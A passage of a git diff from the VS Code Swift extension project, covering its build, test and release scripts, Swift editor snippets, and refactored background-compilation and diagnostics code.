b/.eslintrc.js +index 1760671..a48af13 100644 +--- a/.eslintrc.js ++++ b/.eslintrc.js +@@ -21,6 +21,7 @@ module.exports = { + parser: '@babel/eslint-parser', + }, + rules: { ++ 'linebreak-style': 'off', + 'no-console': process.env.NODE_ENV === 'production' ? [ + 'error', + { allow: ['error', 'warn'] }, diff --git a/scripts/preview_package.ts b/scripts/preview_package.ts new file mode 100644 index 000000000..b885cf99f --- /dev/null +++ b/scripts/preview_package.ts @@ -0,0 +1,44 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import { getExtensionVersion, main, packageExtension } from "./lib/utilities"; + +/** + * Formats the given date as a string in the form "YYYYMMdd". + * + * @param date The date to format as a string. + * @returns The formatted date. + */ +function formatDate(date: Date): string { + const year = date.getUTCFullYear().toString().padStart(4, "0"); + const month = (date.getUTCMonth() + 1).toString().padStart(2, "0"); + const day = date.getUTCDate().toString().padStart(2, "0"); + return year + month + day; +} + +main(async () => { + const version = await getExtensionVersion(); + // Decrement the minor version and set the patch version to today's date + const minor = version.minor - 1; + const patch = formatDate(new Date()); + const previewVersion = `${version.major}.${minor}.${patch}`; + // Make sure that the new minor version is odd + if (minor % 2 !== 1) { + throw new Error( + `The minor version for the pre-release extension is even (${previewVersion}).` + + " The version in the package.json has probably been incorrectly set to an odd minor version." + ); + } + await packageExtension(previewVersion, { preRelease: true }); +}); diff --git a/scripts/soundness.sh b/scripts/soundness.sh index 6f68e4b9a..6d4be9717 100755 --- a/scripts/soundness.sh +++ b/scripts/soundness.sh @@ -1,44 +1,43 @@ #!/bin/bash ##===----------------------------------------------------------------------===## ## -## This source file is part of the VSCode Swift open source project +## This source file is part of the VS Code Swift open source project ## -## Copyright (c) 2021 the VSCode Swift project authors +## Copyright (c) 2021 the VS Code Swift project authors ## Licensed under Apache License v2.0 ## ## See LICENSE.txt for license information -## See CONTRIBUTORS.txt for the list of VSCode Swift project authors +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors ## ## SPDX-License-Identifier: Apache-2.0 ## ##===----------------------------------------------------------------------===## +if [[ "$1" != "--force-run" ]]; then + # This file is supplanted by the GitHub Actions enabled in + # https://github.com/swiftlang/vscode-swift/pull/1159, + # Until https://github.com/swiftlang/vscode-swift/pull/1176 is + # merged we still run the licence check here via the scripts/test.sh + # with the --force-run flag, and the soundness Jenkins job is skipped + # with this exit 0. This lets us run this licence check in the GitHub Actions + # until the standard licence check in GH Actions can be used. + exit 0 +fi + set -eu + +original_dir=$(pwd) +cd "$(dirname "$0")/.." + here="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" function replace_acceptable_years() { # this needs to replace all acceptable forms with 'YEARS' - sed -e 's/20[12][78901]-20[12][89012]/YEARS/' -e 's/20[12][89012]/YEARS/' + sed -e 's/20[12][0123456789]-20[12][0123456789]/YEARS/' -e 's/20[12][0123456789]/YEARS/' } -printf "=> Checking for unacceptable language... " -# This greps for unacceptable terminology. The square bracket[s] are so that -# "git grep" doesn't find the lines that greps :). -unacceptable_terms=( - -e blacklis[t] - -e whitelis[t] - -e slav[e] - -e sanit[y] -) - -# We have to exclude the code of conduct as it gives examples of unacceptable -# language. -if git grep --color=never -i "${unacceptable_terms[@]}" -- . ":(exclude)CODE_OF_CONDUCT.md" > /dev/null; then - printf "\033[0;31mUnacceptable language found.\033[0m\n" - git grep -i "${unacceptable_terms[@]}" -- . ":(exclude)CODE_OF_CONDUCT.md" - exit 1 -fi -printf "\033[0;32mokay.\033[0m\n" +printf "=> Checking package.json..." +npm run check-package-json printf "=> Checking license headers... " tmp=$(mktemp /tmp/.vscode-swift-soundness_XXXXXX) @@ -52,13 +51,13 @@ for language in typescript-or-javascript bash; do cat > "$tmp" <<"EOF" //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) YEARS the VSCode Swift project authors +// Copyright (c) YEARS the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // @@ -71,13 +70,13 @@ EOF #!/bin/bash ##===----------------------------------------------------------------------===## ## -## This source file is part of the VSCode Swift open source project +## This source file is part of the VS Code Swift open source project ## -## Copyright (c) YEARS the VSCode Swift project authors +## Copyright (c) YEARS the VS Code Swift project authors ## Licensed under Apache License v2.0 ## ## See LICENSE.txt for license information -## See CONTRIBUTORS.txt for the list of VSCode Swift project authors +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors ## ## SPDX-License-Identifier: Apache-2.0 ## @@ -89,8 +88,8 @@ EOF ;; esac - expected_lines=$(cat "$tmp" | wc -l) - expected_sha=$(cat "$tmp" | shasum) + expected_lines=$(wc -l < "$tmp") + expected_sha=$(shasum < "$tmp") ( cd "$here/.." @@ -100,21 +99,18 @@ EOF \( \! -path './node_modules/*' -a \ \( \! -path './out/*' -a \ \( \! -path './.vscode-test/*' -a \ - \( \! -path './docker/*' -a \ \( \! -path './dist/*' -a \ \( \! -path './assets/*' -a \ - \( "${matching_files[@]}" \) -a \ - \) \) \) \) \) \) \) - - if [[ "$language" = bash ]]; then - # add everything with a shell shebang too - git grep --full-name -l '#!/bin/bash' - git grep --full-name -l '#!/bin/sh' - fi - } | while read line; do - if [[ "$(cat "$line" | replace_acceptable_years | head -n $expected_lines | shasum)" != "$expected_sha" ]]; then - printf "\033[0;31mmissing headers in file '$line'!\033[0m\n" - diff -u <(cat "$line" | replace_acceptable_years | head -n $expected_lines) "$tmp" + \( \! -path './coverage/*' -a \ + \( \! -path './.husky/*' -a \ + \( \! -path './src/typings/*' -a \ + \( \! -path './github-workflows/*' -a \ + \( "${matching_files[@]}" \ + \) \) \) \) \) \) \) \) \) \) \) + } | while read -r line; do + if [[ "$(replace_acceptable_years < "$line" | head -n "$expected_lines" | shasum)" != "$expected_sha" ]]; then + printf "\033[0;31mmissing headers in file '%s'!\033[0m\n" "$line" + diff -u <(replace_acceptable_years < "$line" | head -n "$expected_lines") "$tmp" exit 1 fi done @@ -122,4 +118,9 @@ EOF ) done -rm "$tmp" \ No newline at end of file +rm "$tmp" +cd "$original_dir" + +# printf "=> Checking for broken links in documentation... " +# find . -name node_modules -prune -o -name \*.md -print0 | xargs -0 -n1 npx markdown-link-check +# printf "\033[0;32mokay.\033[0m\n" \ No newline at end of file diff --git a/scripts/tag_release.sh b/scripts/tag_release.sh new file mode 100755 index 000000000..ebca891d2 --- /dev/null +++ b/scripts/tag_release.sh @@ -0,0 +1,25 @@ +#!/bin/bash +##===----------------------------------------------------------------------===## +## +## This source file is part of the VS Code Swift open source project +## +## Copyright (c) 2021 the VS Code Swift project authors +## Licensed under Apache License v2.0 +## +## See LICENSE.txt for license information +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors +## +## SPDX-License-Identifier: Apache-2.0 +## +##===----------------------------------------------------------------------===## + +tag=$1 + +if [[ -z $tag ]]; then + echo "tag_release.sh requires a tag" + exit 1 +fi + +echo "Tagging v$tag" +git tag "$tag" +git push upstream "$tag" \ No newline at end of file diff --git a/scripts/test.sh b/scripts/test.sh new file mode 100755 index 000000000..6b38e2d1f --- /dev/null +++ b/scripts/test.sh @@ -0,0 +1,42 @@ +#!/bin/bash +##===----------------------------------------------------------------------===## +## +## This source file is part of the VS Code Swift open source project +## +## Copyright (c) 2021 the VS Code Swift project authors +## Licensed under Apache License v2.0 +## +## See LICENSE.txt for license information +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors +## +## SPDX-License-Identifier: Apache-2.0 +## +##===----------------------------------------------------------------------===## + +set -ex + +current_directory=$(pwd) + +mkdir -p /tmp/code +# Add the -v flag to see what is getting copied in to the working folder +rsync -a --exclude "node_modules" \ + --exclude "out" \ + --exclude "dist" \ + --exclude ".git" \ + --exclude ".vscode-test" \ + --exclude ".build" \ + ./ /tmp/code/ +cd /tmp/code + +npm ci +npm run lint +npm run format +npm run soundness -- --force-run + +xvfb-run -a npm run coverage 2>&1 | grep -Ev "Failed to connect to the bus|GPU stall due to ReadPixels" +exit_code=${PIPESTATUS[0]} + +rm -rf "${current_directory}/coverage" +cp -R ./coverage "${current_directory}" || true + +exit "${exit_code}" diff --git a/scripts/test_windows.ps1 b/scripts/test_windows.ps1 new file mode 100644 index 000000000..b04fb261a --- /dev/null +++ b/scripts/test_windows.ps1 @@ -0,0 +1,137 @@ +##===----------------------------------------------------------------------===## +## +## This source file is part of the VS Code Swift open source project +## +## Copyright (c) 2025 the VS Code Swift project authors +## Licensed under Apache License v2.0 +## +## See LICENSE.txt for license information +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors +## +## SPDX-License-Identifier: Apache-2.0 +## +##===----------------------------------------------------------------------===## + +function Update-SwiftBuildAndPackageArguments { + param ( + [string]$jsonFilePath = "./assets/test/.vscode/settings.json", + [string]$codeWorkspaceFilePath = "./assets/test.code-workspace", + [string]$windowsSdkVersion = "10.0.22000.0" + ) + + $vcToolsPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\VC\Tools\MSVC" + $vcToolsVersions = Get-ChildItem -Directory -Path $vcToolsPath | ForEach-Object { $_.Name } + + if ($vcToolsVersions.Count -eq 0) { + Write-Host "No versions found in $vcToolsPath" + exit 1 + } + + $vcToolsVersion = $vcToolsVersions | Sort-Object -Descending | Select-Object -First 1 + Write-Host "Highest Visual C++ Tools version: $vcToolsVersion" + + $windowsSdkRoot = "C:\Program Files (x86)\Windows Kits\10\" + + try { + $jsonContent = Get-Content -Raw -Path $jsonFilePath | ConvertFrom-Json + } catch { + Write-Host "Invalid JSON content in $jsonFilePath" + exit 1 + } + + try { + $codeWorkspaceContent = Get-Content -Raw -Path $codeWorkspaceFilePath | ConvertFrom-Json + } catch { + Write-Host "Invalid JSON content in $codeWorkspaceFilePath" + exit 1 + } + + if ($jsonContent.PSObject.Properties['swift.buildArguments']) { + $jsonContent.PSObject.Properties.Remove('swift.buildArguments') + } + + $jsonContent | Add-Member -MemberType NoteProperty -Name "swift.buildArguments" -Value @( + "-Xbuild-tools-swiftc", "-windows-sdk-root", "-Xbuild-tools-swiftc", $windowsSdkRoot, + "-Xbuild-tools-swiftc", "-windows-sdk-version", "-Xbuild-tools-swiftc", $windowsSdkVersion, + "-Xbuild-tools-swiftc", "-visualc-tools-version", "-Xbuild-tools-swiftc", $vcToolsVersion, + "-Xswiftc", "-windows-sdk-root", "-Xswiftc", $windowsSdkRoot, + "-Xswiftc", "-windows-sdk-version", "-Xswiftc", $windowsSdkVersion, + "-Xswiftc", "-visualc-tools-version", "-Xswiftc", $vcToolsVersion + ) + + if ($jsonContent.PSObject.Properties['swift.packageArguments']) { + $jsonContent.PSObject.Properties.Remove('swift.packageArguments') + } + + $jsonContent | Add-Member -MemberType NoteProperty -Name "swift.packageArguments" -Value @( + "-Xbuild-tools-swiftc", "-windows-sdk-root", "-Xbuild-tools-swiftc", $windowsSdkRoot, + "-Xbuild-tools-swiftc", "-windows-sdk-version", "-Xbuild-tools-swiftc", $windowsSdkVersion, + "-Xbuild-tools-swiftc", "-visualc-tools-version", "-Xbuild-tools-swiftc", $vcToolsVersion, + "-Xswiftc", "-windows-sdk-root", "-Xswiftc", $windowsSdkRoot, + "-Xswiftc", "-windows-sdk-version", "-Xswiftc", $windowsSdkVersion, + "-Xswiftc", "-visualc-tools-version", "-Xswiftc", $vcToolsVersion + ) + + $codeWorkspaceContent.PSObject.Properties.Remove('settings') + $codeWorkspaceContent | Add-Member -MemberType NoteProperty -Name "settings" -Value $jsonContent + + $jsonContent | ConvertTo-Json -Depth 32 | Set-Content -Path $jsonFilePath + + + $codeWorkspaceContent | ConvertTo-Json -Depth 32 | Set-Content -Path $codeWorkspaceFilePath + + Write-Host "Contents of ${jsonFilePath}:" + Get-Content -Path $jsonFilePath + + Write-Host "Contents of ${codeWorkspaceFilePath}:" + Get-Content -Path $codeWorkspaceFilePath +} + +$swiftVersionOutput = & swift --version +if ($LASTEXITCODE -ne 0) { + Write-Host "Failed to execute 'swift --version'" + exit 1 +} + +Write-Host "Swift version:" +Write-Host "$swiftVersionOutput" + +Write-Host "Installed MSVC Versions:" +dir "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\VC\Tools\MSVC" + +Write-Host "Installed Windows SDK Versions:" +dir "C:\Program Files (x86)\Windows Kits\10\Include\" + +$versionLine = $swiftVersionOutput[0] +if ($versionLine -match "Swift version (\d+)\.(\d+)") { + Write-Host "Matched Swift version: $($matches[0]), $($matches[1]), $($matches[2])" + + $majorVersion = [int]$matches[1] + $minorVersion = [int]$matches[2] + + # In newer Visual C++ Tools they've added compiler intrinsics headers in wchar.h + # that end up creating a cyclic dependency between the `ucrt` and compiler intrinsics modules. + + # Newer versions of swift (>=6.1) have a fixed modulemap that resolves the issue: https://github.com/swiftlang/swift/pull/79751 + # As a workaround we can pin the tools/SDK versions to older versions that are present in the GH Actions Windows image. + # In the future we may only want to apply this workaround to older versions of Swift that don't have the fixed module map. + if ($majorVersion -lt 6 -or ($majorVersion -eq 6 -and $minorVersion -lt 1)) { + Write-Host "Swift version is < 6.1, injecting windows SDK build arguments" + Update-SwiftBuildAndPackageArguments + } +} else { + Write-Host "Match failed for output: `"$versionLine`"" + Write-Host "Unable to determine Swift version" + exit 1 +} + +npm ci +npm run lint +npm run format +npm run test +if ($LASTEXITCODE -eq 0) { + Write-Host 'SUCCESS' +} else { + Write-Host ('FAILED ({0})' -f $LASTEXITCODE) + exit 1 +} diff --git a/scripts/tsconfig.json b/scripts/tsconfig.json new file mode 100644 index 000000000..674bc042e --- /dev/null +++ b/scripts/tsconfig.json @@ -0,0 +1,20 @@ +{ + "compilerOptions": { + "composite": true, + + "rootDir": "..", + "outDir": "../dist", + + "lib": ["ES2021"], + "target": "ES2020", + "module": "commonjs", + "esModuleInterop": true, + + "strict": true, + + "sourceMap": true, + + "types": [] + }, + "include": ["**/*.ts", "../src/icons/**/*.ts"] +} diff --git a/scripts/update_swift_docc_render.ts b/scripts/update_swift_docc_render.ts new file mode 100644 index 000000000..8ea6eb9af --- /dev/null +++ b/scripts/update_swift_docc_render.ts @@ -0,0 +1,84 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import { mkdir, readdir, rm, stat } from "fs/promises"; +import * as path from "path"; +import * as semver from "semver"; +import simpleGit, { ResetMode } from "simple-git"; + +import { exec, getRootDirectory, main, withTemporaryDirectory } from "./lib/utilities"; + +function checkNodeVersion() { + const nodeVersion = semver.parse(process.versions.node); + if (nodeVersion === null) { + throw new Error( + "Unable to determine the version of NodeJS that this script is running under." + ); + } + if (!semver.satisfies(nodeVersion, "20")) { + throw new Error( + `Cannot build swift-docc-render with NodeJS v${nodeVersion.raw}. Please install and use NodeJS v20.` + ); + } +} + +async function cloneSwiftDocCRender(buildDirectory: string): Promise { + // Clone swift-docc-render + const swiftDocCRenderDirectory = path.join(buildDirectory, "swift-docc-render"); + const git = simpleGit({ baseDir: buildDirectory }); + console.log("> git clone https://github.com/swiftlang/swift-docc-render.git"); + const revision = "10b097153d89d7bfc2dd400b47181a782a0cfaa0"; + await git.clone("https://github.com/swiftlang/swift-docc-render.git", swiftDocCRenderDirectory); + await git.cwd(swiftDocCRenderDirectory); + await git.reset(ResetMode.HARD, [revision]); + // Apply our patches to swift-docc-render + const patches = ( + await readdir(path.join(__dirname, "patches", "swift-docc-render"), { + withFileTypes: true, + }) + ) + .filter(entity => entity.isFile() && entity.name.endsWith(".patch")) + .map(entity => path.join(entity.path, entity.name)) + .sort(); + console.log("> git apply \\\n" + patches.map(e => " " + e).join(" \\\n")); + await git.applyPatch(patches); + return swiftDocCRenderDirectory; +} + +main(async () => { + const outputDirectory = path.join(getRootDirectory(), "assets", "swift-docc-render"); + if (process.argv.includes("postinstall")) { + try { + await stat(outputDirectory); + console.log(`${outputDirectory} exists, skipping build.`); + return; + } catch { + // Proceed with creating + } + } + checkNodeVersion(); + await rm(outputDirectory, { force: true, recursive: true }); + await mkdir(outputDirectory, { recursive: true }); + await withTemporaryDirectory("update-swift-docc-render_", async buildDirectory => { + const swiftDocCRenderDirectory = await cloneSwiftDocCRender(buildDirectory); + await exec("npm", ["install"], { cwd: swiftDocCRenderDirectory }); + await exec("npx", ["vue-cli-service", "build", "--dest", outputDirectory], { + cwd: swiftDocCRenderDirectory, + env: { + ...process.env, + VUE_APP_TARGET: "ide", + }, + }); + }); +}); diff --git a/snippets/swift-testing.code-snippets b/snippets/swift-testing.code-snippets new file mode 100644 index 000000000..b9bc6e31b --- /dev/null +++ b/snippets/swift-testing.code-snippets @@ -0,0 +1,53 @@ +{ + "@Test": { + "prefix": "@Test", + "body": [ + "@Test func ${1:name}() async throws {", + "\t${2:statements}", + "}" + ], + "description": "swift-testing: Test Function" + }, + "@Test(\"named\")": { + "prefix": "@Test", + "body": [ + "@Test(\"${1:display name}\")", + "func ${2:name}() async throws {", + "\t${3:statements}", + "}" + ], + "description": "swift-testing: Test Function with Traits" + }, + "Suite": { + "prefix": "@Suite", + "body": [ + "struct ${1:suiteName} {", + "\t@Test func ${2:testName}() async throws {", + "\t\t${3:statements}", + "\t}", + "}" + ], + "description": "swift-testing: Test Suite" + }, + "@Suite(\"named\")": { + "prefix": "@Suite", + "body": [ + "@Suite(\"${1:display name}\")", + "struct ${2:name} {", + "\t@Test func ${3:testName}() async throws {", + "\t\t${4:statements}", + "\t}", + "}" + ], + "description": "swift-testing: Test Suite with Traits" + }, + "tag": { + "prefix": "tag", + "body": [ + "extension Tag {", + "\t@Tag static var ${1:tag}: Tag", + "}" + ], + "description": "swift-testing: Tag Declaration" + } +} \ No newline at end of file diff --git a/snippets/swift.code-snippets b/snippets/swift.code-snippets new file mode 100644 index 000000000..5ff386e3e --- /dev/null +++ b/snippets/swift.code-snippets @@ -0,0 +1,137 @@ +{ + "API Availability": { + "prefix": "@available", + "body": [ + "@available(${1:iOS, macOS, tvOS, watchOS} ${2:x.y.z}, *)", + ], + "description": "Define an API's minimum version" + }, + "Availability Conditional": { + "prefix": "#available", + "body": [ + "if #available(${1:iOS, macOS, tvOS, watchOS} ${2:x.y.z}, *) {", + "\t${3:API available statements}", + "} else {", + "\t${4:fallback statements}", + "}" + ], + "description": "Conditionally execute code based on whether the API is available at runtime." + }, + "Defer": { + "prefix": "defer", + "body": [ + "defer {", + "\t${1:deferred statements}", + "}", + ], + "description": "Executes a set of statements before execution leaves the current block of code." + }, + "Deinitialization Declaration": { + "prefix": "deinit", + "body": [ + "deinit {", + "\t${1:deferred statements}", + "}", + ], + "description": "Performs cleanup before an object is deallocated." + }, + "Deprecated": { + "prefix": "deprecated", + "body": [ + "@available(*, deprecated, message: \"${2:String}\")", + ], + "description": "Define availability" + }, + "Deprecated with Version": { + "prefix": "deprecated", + "body": [ + "@available(${1:platform}, introduced: ${2:version}, deprecated: ${3:version}, message: \"${4:String}\")", + ], + "description": "Define availability" + }, + "Import Statement": { + "prefix": "import", + "body": [ + "import ${1:module}" + ], + "description": "Allows access to symbols declared in the specified module." + }, + "Initializer Declaration": { + "prefix": "init", + "body": [ + "init(${1:parameters}) {", + "\t${2:statements}", + "}" + ], + "description": "A set of statements that prepares an instance of a class, structure, or enumeration for use." + }, + "Lazy Closure Stored Property Declaration": { + "prefix": "lazyvarclosure", + "body": [ + "lazy var ${1:property name}: ${2:type name} = {", + "\t${3:statements}", + "\treturn ${4:value}", + "}()" + ], + "description": "A property whose initial value is lazily set to the result of a closure." + }, + "Lazy Stored Property Declaration": { + "prefix": "lazyvar", + "body": [ + "lazy var ${1:property name} = ${2:expression}" + ], + "description": "A property whose initial value is not calculated until the first time it is used." + }, + "Let Declaration": { + "prefix": "let", + "body": [ + "let ${1:name} = ${2:value}" + ], + "description": "Creates a variable that cannot be changed." + }, + "OptionSet": { + "prefix": "optionset", + "body": [ + "struct ${1:name}: OptionSet {", + "\tlet rawValue: ${2:integer type}", + "", + "\tstatic let ${3:optionA} = ${1:name}(rawValue: 1 << 0)", + "\tstatic let ${5:optionB} = ${1:name}(rawValue: 1 << 1)", + "\tstatic let ${7:optionC} = ${1:name}(rawValue: 1 << 2)", + "", + "\tstatic let all: ${1:name} = [.${3:optionA}, .${5:optionB}, .${7:optionC}]", + "}" + ], + "description": "A mathematical set interface to a bit set." + }, + "Renamed": { + "prefix": "renamed", + "body": [ + "@available(*, deprecated, renamed: \"${1:renamed}\", message: \"${2:String}\")", + ], + "description": "Indicate API has moved" + }, + "Required Initializer Declaration": { + "prefix": "requiredinit", + "body": [ + "required init(${1:parameters}) {", + "\t${2:statements}", + "}" + ], + "description": "An initializer that must be implemented by every subclass." + }, + "Typealias Declaration": { + "prefix": "typealias", + "body": [ + "typealias ${1:type name} = ${2:type expression}" + ], + "description": "Defines an alternate name for an existing type." + }, + "Var Declaration": { + "prefix": "var", + "body": [ + "var ${1:name} = ${2:value}" + ], + "description": "Creates a variable that can be changed." + } +} \ No newline at end of file diff --git a/snippets/xctest.code-snippets b/snippets/xctest.code-snippets new file mode 100644 index 000000000..b64fd1055 --- /dev/null +++ b/snippets/xctest.code-snippets @@ -0,0 +1,22 @@ +{ + "XCTestSuite": { + "prefix": "testsuite", + "body": [ + "class ${1:suiteName}: XCTestCase {", + "\tfunc test${2:testName}() {", + "\t\t${2:statements}", + "\t}", + "}" + ], + "description": "XCTest: Test Suite" + }, + "XCTest": { + "prefix": "test", + "body": [ + "func test${1:Name}() {", + "\t${2:statements}", + "}" + ], + "description": "XCTest: Test Method" + } +} \ No newline at end of file diff --git a/src/BackgroundCompilation.ts b/src/BackgroundCompilation.ts index 3f991a8ff..68e132949 100644 --- a/src/BackgroundCompilation.ts +++ b/src/BackgroundCompilation.ts @@ -1,62 +1,84 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2022 the VSCode Swift project authors +// Copyright (c) 2022 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import * as path from "path"; -import { isPathInsidePath } from "./utilities/utilities"; -import { getBuildAllTask } from "./SwiftTaskProvider"; -import configuration from "./configuration"; + import { FolderContext } from "./FolderContext"; -import { WorkspaceContext } from "./WorkspaceContext"; +import configuration from "./configuration"; +import { getBuildAllTask } from "./tasks/SwiftTaskProvider"; +import { TaskOperation } from "./tasks/TaskQueue"; +import { validFileTypes } from "./utilities/filesystem"; -export class BackgroundCompilation { - private waitingToRun = false; +// eslint-disable-next-line @typescript-eslint/no-require-imports +import debounce = require("lodash.debounce"); - constructor(private folderContext: FolderContext) {} +export class BackgroundCompilation implements vscode.Disposable { + private workspaceFileWatcher?: vscode.FileSystemWatcher; + private configurationEventDisposable?: vscode.Disposable; + private disposables: vscode.Disposable[] = []; + private _disposed = false; - /** - * Start onDidSave handler which will kick off compilation tasks - * - * The task works out which folder the saved file is in and then - * will call `runTask` on the background compilation attached to - * that folder. - * */ - static start(workspaceContext: WorkspaceContext): vscode.Disposable { - const onDidSaveDocument = vscode.workspace.onDidSaveTextDocument(event => { - if (configuration.backgroundCompilation === false) { - return; + constructor(private folderContext: FolderContext) { + // We only want to configure the file watcher if background compilation is enabled. + this.configurationEventDisposable = vscode.workspace.onDidChangeConfiguration(event => { + if (event.affectsConfiguration("swift.backgroundCompilation", folderContext.folder)) { + if (configuration.backgroundCompilation.enabled) { + this.setupFileWatching(); + } else { + this.stopFileWatching(); + } } + }); + + if (configuration.backgroundCompilation.enabled) { + this.setupFileWatching(); + } + } - // is editor document in any of the current FolderContexts - const folderContext = workspaceContext.folders.find(context => { - return isPathInsidePath(event.uri.fsPath, context.folder.fsPath); - }); + private setupFileWatching() { + const fileTypes = validFileTypes.join(","); + const rootFolders = ["Sources", "Tests", "Snippets", "Plugins"].join(","); + this.disposables.push( + (this.workspaceFileWatcher = vscode.workspace.createFileSystemWatcher( + `**/{${rootFolders}}/**/*.{${fileTypes}}` + )) + ); - if (!folderContext) { - return; - } + // Throttle events since many change events can be recieved in a short time if the user + // does a "Save All" or a process writes several files in quick succession. + this.disposables.push( + this.workspaceFileWatcher.onDidChange( + debounce( + () => { + if (!this._disposed) { + void this.runTask(); + } + }, + 100 /* 10 times per second */, + { trailing: true } + ) + ) + ); + } - // don't run auto-build if saving Package.swift as it clashes with the resolve - // that is run after the Package.swift is saved - if (path.join(folderContext.folder.fsPath, "Package.swift") === event.uri.fsPath) { - return; - } + private stopFileWatching() { + this.disposables.forEach(disposable => disposable.dispose()); + } - // run background compilation task - folderContext.backgroundCompilation.runTask(); - }); - return { dispose: () => onDidSaveDocument.dispose() }; + dispose() { + this._disposed = true; + this.configurationEventDisposable?.dispose(); + this.disposables.forEach(disposable => disposable.dispose()); } /** @@ -68,10 +90,22 @@ export class BackgroundCompilation { */ async runTask() { // create compile task and execute it - const backgroundTask = await getBuildAllTask(this.folderContext); + const backgroundTask = await this.getTask(); if (!backgroundTask) { return; } - this.folderContext.taskQueue.queueOperation({ task: backgroundTask }); + try { + await this.folderContext.taskQueue.queueOperation(new TaskOperation(backgroundTask)); + } catch { + // can ignore if running task fails + } + } + + async getTask(): Promise { + return await getBuildAllTask( + this.folderContext, + configuration.backgroundCompilation.release, + configuration.backgroundCompilation.useDefaultTask + ); } } diff --git a/src/DiagnosticsManager.ts b/src/DiagnosticsManager.ts new file mode 100644 index 000000000..87b700482 --- /dev/null +++ b/src/DiagnosticsManager.ts @@ -0,0 +1,472 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "./WorkspaceContext"; +import configuration from "./configuration"; +import { SwiftExecution } from "./tasks/SwiftExecution"; +import { validFileTypes } from "./utilities/filesystem"; +import { checkIfBuildComplete, lineBreakRegex } from "./utilities/tasks"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); + +interface ParsedDiagnostic { + uri: string; + diagnostic: vscode.Diagnostic; +} + +type DiagnosticsMap = Map; + +type SourcePredicate = (source: string) => boolean; + +type DiagnosticPredicate = (diagnostic: vscode.Diagnostic) => boolean; + +const isEqual = (d1: vscode.Diagnostic, d2: vscode.Diagnostic) => + d1.range.start.isEqual(d2.range.start) && d1.message === d2.message; + +const isSource = (diagnostic: vscode.Diagnostic, sourcesPredicate: SourcePredicate) => + sourcesPredicate(diagnostic.source ?? ""); + +const isSwiftc: DiagnosticPredicate = diagnostic => + isSource(diagnostic, DiagnosticsManager.isSwiftc); + +const isSourceKit: DiagnosticPredicate = diagnostic => + isSource(diagnostic, DiagnosticsManager.isSourcekit); + +/** + * Handles the collection and deduplication of diagnostics from + * various {@link vscode.Diagnostic.source | Diagnostic sources}. + * + * Listens for running {@link SwiftExecution} tasks and allows + * external clients to call {@link handleDiagnostics} to provide + * thier own diagnostics. + */ +export class DiagnosticsManager implements vscode.Disposable { + private static swiftc: string = "swiftc"; + static isSourcekit: SourcePredicate = source => this.swiftc !== source; + static isSwiftc: SourcePredicate = source => this.swiftc === source; + + private diagnosticCollection: vscode.DiagnosticCollection = + vscode.languages.createDiagnosticCollection("swift"); + allDiagnostics: Map = new Map(); + private disposed = false; + + constructor(context: WorkspaceContext) { + this.onDidChangeConfigurationDisposible = vscode.workspace.onDidChangeConfiguration(e => { + if (e.affectsConfiguration("swift.diagnosticsCollection")) { + this.diagnosticCollection.clear(); + this.allDiagnostics.forEach((_, uri) => + this.updateDiagnosticsCollection(vscode.Uri.file(uri)) + ); + } + }); + this.onDidStartTaskDisposible = vscode.tasks.onDidStartTask(event => { + // Will only try to provide diagnostics for `swift` tasks + const task = event.execution.task; + if (task.definition.type !== "swift") { + return; + } + if (!this.includeSwiftcDiagnostics()) { + return; + } + // Provide new list of diagnostics + const swiftExecution = task.execution as SwiftExecution; + const provideDiagnostics: Promise = + this.parseDiagnostics(swiftExecution); + + provideDiagnostics + .then(map => { + // Clean up old "swiftc" diagnostics + this.removeSwiftcDiagnostics(); + map.forEach((diagnostics, uri) => { + this.handleDiagnostics( + vscode.Uri.file(uri), + DiagnosticsManager.isSwiftc, + diagnostics + ); + }); + }) + .catch(e => context.logger.error(`Failed to provide "swiftc" diagnostics: ${e}`)); + }); + const fileTypes = validFileTypes.join(","); + this.workspaceFileWatcher = vscode.workspace.createFileSystemWatcher( + `**/*.{${fileTypes}}`, + true, + true + ); + this.onDidDeleteDisposible = this.workspaceFileWatcher.onDidDelete(uri => { + if (this.allDiagnostics.delete(uri.fsPath)) { + this.diagnosticCollection.delete(uri); + } + }); + } + 